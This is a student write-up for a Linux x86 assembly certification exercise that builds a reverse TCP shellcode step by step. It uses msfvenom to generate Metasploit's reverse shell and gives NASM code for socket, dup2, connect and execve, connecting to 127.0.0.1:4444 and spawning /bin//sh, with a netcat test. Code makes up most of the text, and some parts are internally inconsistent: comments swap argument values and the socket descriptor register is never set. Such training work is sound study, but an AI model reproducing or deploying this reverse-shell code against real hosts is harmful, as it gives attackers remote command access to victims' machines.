Description of the assignment

  • Create a Shell_Reverse_TCP Shellcode:
    • Reverse connects to configured IP and Port;
    • Execs Shell on sucessfull connection;
  • IP and Port should be easily configurable.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-26457

MSFVenom example & Socket_call

To perform this exercise, we started by analysing the reverse shell code of Metasploit to see how it works and what syscall are made. To do so, we followed the steps as follows to create an image of the different syscalls performed and to make it more visible.

As follows the command line to generate the graphical diagram of the metasploit reverse shell :

    msfvenom -p linux/x86/shell_reverse_tcp R | /opt/hackingtools/libemu/tools/sctest/sctest -vvv -Ss 100000 -G shell_reverse_tcp.dot
    //Then convert into PNG file :
    dot shell_reverse_tcp.dot -Tpng -o shell_reverse_tcp.png 

Result:

drawing

As we can see, there are 4 syscalls:

  • socket,
  • dup2,
  • connect,
  • execve.

Each of them will be detailled in the following sections.

Socketcall

The detail of the socket call can be displayed with the following command line:

root@kali:~# cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep socket
    #define __NR_socketcall 102
    #define __NR_socket 359
    #define __NR_socketpair 360

Then, we looked into the details of the socketcall:

man 2 socketcall
int socketcall(int call, unsigned long *args);

The socketcall is composed of two parameters:

1) int call - Type of the syscall (socket, bind, …)

2) unsigned long* args - Arguments of the desired syscall

Socket

The socket syscall creates a socket which will listen to the incoming connections.

man 2 socket 
int socket(int domain, int type, int protocol)

The syscall is composed of the following parameters:

1) int domain - The protocol family used (AF_INET, AF_LOCAL, …)

2) int type - The type of the service (TCP, UDP, …)

3) int protocol - Specify if a particular protocol will be used with the socket (0 most of the time)

Note: More details can be find on the possible parameter values in the following paths:

  • /usr/include/x86_64-linux-gnu/bits/socket.h (DOMAIN AND PROTOCOLS parameters)
  • /usr/include/x86_64-linux-gnu/bits/socket_type.h (TYPE parameter)

So, we want to set the following parameters:

  • EAX = 0x66 (socketcall syscall)
  • EBX = 0x1 (SOCKET syscall)
  • ECX (Address pointing to the arguments into the stack):
    • ECX[0] = 0x2 (PF_INET/AF_INET, IP protocol family)
    • ECX[1] = 0x1 (SOCK_STREAM, TCP connection based)
    • ECX[2] = 0x0 (Unspecified)

After that the syscall is performed with success, the file descriptor returned will be stored in the EAX register.

Useful link : The details of the socket can be find in the following links :

Assembly Code:

; EBX
xor ebx, ebx
push ebx ; push the x00000000 on the stack
inc ebx ; SYS_SOCKET call 1 for socket
push ebx ; push the 0x00000001 on the stack for the domain AF_INET of the SYS_SOCKET call 
; ECX
push byte 0x2 ; push the 0x00000002 on the stack for the type SOCK_STREAM
mov ecx, esp ; put the arguments of the socketcall into ECX
; EAX
xor eax, eax
mov al, 0x66
; socket call
int 0x80

Dup2

The next step is to redirect the STDIN, STDOUT and STDER to the socket session. The dup2() system call allocate a new file descriptor that refers to the same open file description as the descriptor oldfd. The file descriptor newfd is ajusted so that it refers to the same open file desdcription as oldfd.

root@kali:~# cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep dup2
    #define __NR_dup2 63

-

man 2 dup2
int dup2(int oldfd, int newfd)

The function is composed of:

1) int oldfd : File descriptor returned by the socket syscall

2) int newfd : File descriptor that we want to refer to

We will pass the following arguments :

  • EAX : 0x3f (dup syscall, 63 in decimal)
  • EBX : Previous EAX (File descriptor returned by the accept call)
  • ECX : 0x2 to 0x0 (loop IN, OUT, ERR)

To perform the loop, we will use the intruction “JNS rel8” because it perform the jmp until the Sign Flag is set (SF=1), which mean that the zero is taken into account in the loop :

Assembly Code:

    ; EBX, File descriptor return by ACCEPT call
    mov ebx, eax	; Retrieve the file descriptor

    ; EAX, dup2 sys call 0x3f
    xor eax, eax

    ; initialize ECX 
    mov ecx, 0x2

    ; LOOP

DupLoop :
 
    mov al, 0x3f
    int 0x80
    dec ecx
    jns DupLoop	

Connect

Then, we need to intiate a socket connection on a remote host by specifing the address and the port to connect to. For that, we use the CONNECT syscall.

man 2 connect
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

The function is composed of:

1) int sockfd : file descriptor, return value of the socket syscall

2) const struct sockaddr *addr : address argument which depends on the family

struct sockaddr {
    sa_family_t sa_family;
    char        sa_data[14];
}

In our case, with the Internet Family AF_INET, the address structure will be constructed as follows :

struct sockaddr_in {
    sa_family_t    sin_family; /* address family: AF_INET */
    in_port_t      sin_port;   /* port in network byte order */
    struct in_addr sin_addr;   /* internet address */
};

/* Internet address. */
struct in_addr {
    uint32_t       s_addr;     /* address in network byte order */
};

Note: From “/usr/src/linux-headers-5.2.0-kali2-common/include/uapi/linux/in.h”

  • addrlen : The size, in bytes, of the address structure pointed to by addr

Useful Link:

This means that we need to pass the following registers:

  • EAX = 0x66 (SOCKET_CALL)
  • EBX = 0x3 (SYS_CONNECT)
  • ECX (Address pointing to the arguments into the stack):
    • ECX[0] = File descriptor (Return value of the socket syscall)
    • ECX[1] (Address pointing to arguments into the stack):
      • ECX[1.0] = 0x2 (AF_INET)
      • ECX[1.1] = 0x115c (port 4444 in hexa)
      • ECX[1.2] = SYS_CONNECT (IP : 127.0.0.1)
    • ECX[2] = 0x10 (16 bytes)

The return value stored in EAX should be 0x00 in case of success!

TODO Assembly Code:

; EBX ; SYS_CONNECT = 3
xor ebx, ebx
mov bl, 0x3

; ECX, To modify
; Creation of the struct sockaddr_in

; //////////////// Listening address ////////////
; Description: Set up the address to listen to
; Example : 
; 	push edi ; Push on the stack the address 0.0.0.0
; 	push 0x00000000 ; Same
push 0x0100007f ; 127.0.0.1

; /////////////// Listening port ///////////////
; Description : Set up the port to listen to
; Example : push word 0x5c11 ; Push on the stack the port 4444
push word 0x5c11	

push word 0x2 ; Push the Family AF_INET = 2
mov ecx, esp ; mov the structure into ecx

; put all parameters into ECX 
	
push byte 0x10 ; Push on the stack the address length of 16
push ecx
push esi ; push the file descriptor
mov ecx, esp ; Move the stack into ECX

; EAX
xor eax, eax
mov al, 0x66

; connect call
int 0x80

Execve

FInally, now that we created a socket which connect to a remote host, we finally have to launch a shell through that connection allowing the remote host to interact with the device.

man 2 Execve
int execve(const char *pathname, char *const argv[], char *const envp[])

The arguments are:

1) const char *pathname: Pointer to the filename

2) char *const argv[]: Pointer to the argument of the function

3) char *const envp[]: Array of pointers to strings passed as environment of the new program

We will pass the following arguments :

  • EAX : 0xb (execve sys call, 11 in decimal)
  • EBX : Pointer to /bin//sh + 0X00000000
  • ECX : Pointer to the address of EBX
  • EDX : NULL

To pass the argument /bin/sh, we first converted it in hexadecimal and then reverse it.

Assembly Code:

; EXECVE /bin/sh	
; Push the 0x00000000 on the stack
xor eax, eax
push eax

; put the string on the stack
push 0x68732f2f ; //sh : hs// : 68732f2f	
push 0x6e69622f ; /bin : nib/ : 6e69622f	

; setup EBX with the value of ESP
mov ebx, esp

; set up EDX and push null bytes again
push eax
mov edx, esp

; set up ECX argv address on the first dw and null in second dw
push ebx 
; Then move the top of the stack into ECX
mov ecx, esp

; EAX
mov al, 0xb
int 0x80

Compilation

Then we compiled the code with the following python script :

root@kali:~/Documents/PentesterAcademy/SLAE32-Exam/bindshell# cat ../compile.sh 
#! /bin/bash

echo '[+] Assembling with NASM'
nasm -f elf -o $1.o $1.nasm

echo '[+] Linking ..'
ld -m elf_i386 $1.o -o $1

echo '[+] Done!'

And finally, we launch the netcat tool and then the reverse shellcode.

drawing

drawing

drawing